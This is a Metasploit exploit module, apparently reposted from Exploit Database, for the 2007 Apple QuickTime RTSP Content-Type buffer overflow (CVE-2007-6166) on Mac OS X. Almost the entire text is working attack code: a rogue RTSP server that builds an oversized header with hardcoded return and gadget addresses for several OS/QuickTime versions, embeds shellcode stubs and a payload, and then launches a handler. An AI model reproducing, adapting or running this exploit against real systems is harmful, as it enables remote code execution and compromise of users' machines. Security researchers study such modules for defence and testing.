Apple QuickTime (Mac OSX) – RTSP Content-Type Overflow (Metasploit)

• Exploit Database
• 10 阅读

• 作者： Metasploit
  日期： 2010-10-09
• 类别：

  • remote
  平台：

  • osx
• 来源：https://www.exploit-db.com/exploits/16873/

• ##
  # $Id: quicktime_rtsp_content_type.rb 10617 2010-10-09 06:55:52Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = AverageRanking
  
  	include Msf::Exploit::Remote::TcpServer
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'MacOS X QuickTime RTSP Content-Type Overflow',
  			# Description?
  			# Author?
  			'Version'=> '$Revision: 10617 $',
  			'Platform' => 'osx',
  			'References' =>
  				[
  					[ 'CVE', '2007-6166' ],
  					[ 'OSVDB', '40876'],
  					[ 'BID', '26549' ],
  				],
  			'Payload' =>
  				{
  					'Space' => 3841,
  					'BadChars' => "\x00\x0a\x0d",
  					'MaxNops' => 0,
  					'StackAdjustment' => -3500,
  				},
  			'Targets' =>
  				[
  					[ 'Mac OS X 10.4.0 PowerPC, QuickTime 7.0.0',
  						{
  							'Arch' => ARCH_PPC,
  							'Ret' => 0x8fe3f88c,
  							'RetOffset' => 551,
  							'PayloadOffset' => 879
  						}
  					],
  
  					[ 'Mac OS X 10.5.0 PowerPC, QuickTime 7.2.1',
  						{
  							'Arch' => ARCH_PPC,
  							'Ret' => 0x8fe042e0,
  							'RetOffset' => 615,
  							'PayloadOffset' => 3351
  						}
  					],
  
  					[ 'Mac OS X 10.4.8 x86, QuickTime 7.1.3',
  						{
  							'Arch' => ARCH_X86,
  							'Offset' => 307,
  							'Writable' => 0xa0bd0f10,# libSystem __IMPORT
  							# The rest of these are all in libSystem __TEXT
  							'ret' => 0x9015d336,
  							'poppopret' => 0x9015d334,
  							'setjmp' => 0x900bc438,
  							'strdup' => 0x90012f40,
  							'jmp_eax' => 0x9014a77f
  						}
  					],
  
  					[ 'Mac OS X 10.5.0 x86, QuickTime 7.2.1',
  						{
  							'Arch' => ARCH_X86,
  							'Offset' => 307,
  							'Writable' => 0x8fe66448,# dyld __IMPORT
  							# The rest of these addresses are in dyld __TEXT
  							'ret' => 0x8fe1ceee,
  							'poppopret' => 0x8fe220d7,
  							'setjmp' => 0x8fe1ceb0,
  							'strdup' => 0x8fe1cd77,
  							'jmp_eax' => 0x8fe01041
  						}
  					],
  
  				],
  			'DefaultTarget'=> 2,
  			'DisclosureDate' => 'Nov 23 2007'))
  	end
  
  	######
  	# XXX: This does not work on Tiger apparently
  	def make_exec_payload_from_heap_stub()
  		frag0 =
  			"\x90" + # nop
  			"\x58" + # pop eax
  			"\x61" + # popa
  			"\xc3" # ret
  
  		frag1 =
  			"\x90" + # nop
  			"\x58" + # pop eax
  			"\x89\xe0" + # mov eax, esp
  			"\x83\xc0\x0c" + # add eax, byte +0xc
  			"\x89\x44\x24\x08" + # mov [esp+0x8], eax
  			"\xc3" # ret
  
  		setjmp = target['setjmp']
  		writable = target['Writable']
  		strdup = target['strdup']
  		jmp_eax = target['jmp_eax']
  
  		exec_payload_from_heap_stub =
  			frag0 +
  			[setjmp].pack('V') +
  			[writable + 32, writable].pack("V2") +
  			frag1 +
  			"X" * 20 +
  			[setjmp].pack('V') +
  			[writable + 24, writable, strdup, jmp_eax].pack("V4") +
  			"X" * 4
  	end
  
  	def on_client_connect(client)
  		print_status("Got client connection...")
  
  		if (target['Arch'] == ARCH_PPC)
  			ret_offset = target['RetOffset']
  			payload_offset = target['PayloadOffset']
  
  			# Create pattern sized up to payload, since it always follows
  			# the return address.
  			boom = Rex::Text.pattern_create(payload_offset)
  
  			boom[ret_offset, 4] = [target['Ret']].pack('N')
  			boom[payload_offset, payload.encoded.length] = payload.encoded
  		else
  			boom = Rex::Text.pattern_create(327)
  
  			boom[307, 4] = [target['ret']].pack('V')
  			boom[311, 4] = [target['ret']].pack('V')
  			boom[315, 4] = [target['poppopret']].pack('V')
  			boom[319, 4] = [target['Writable']].pack('V')
  			boom[323, 4] = [target['Writable']].pack('V')
  
  			#
  			# Create exec-payload-from-heap-stub, but split it in two.
  			# The first word must be placed as the overwritten saved ebp
  			# in the attack string.The rest is placed after the
  			# Writable memory addresses.
  			#
  			magic = make_exec_payload_from_heap_stub()
  			boom[303, 4] = magic[0, 4]
  			boom += magic[4..-1]
  
  			#
  			# Place the payload immediately after the stub as it expects
  			#
  			boom += payload.encoded
  		end
  
  		body = " "
  		header =
  			"RTSP/1.0 200 OK\r\n"+
  			"CSeq: 1\r\n"+
  			"Content-Type: #{boom}\r\n"+
  			"Content-Length: #{body.length}\r\n\r\n"
  
  		print_status("Sending RTSP response...")
  		client.put(header + body)
  
  		print_status("Sleeping...")
  		select(nil,nil,nil,1)
  
  		print_status("Starting handler...")
  		handler(client)
  
  		print_status("Closing client...")
  		service.close_client(client)
  	end
  end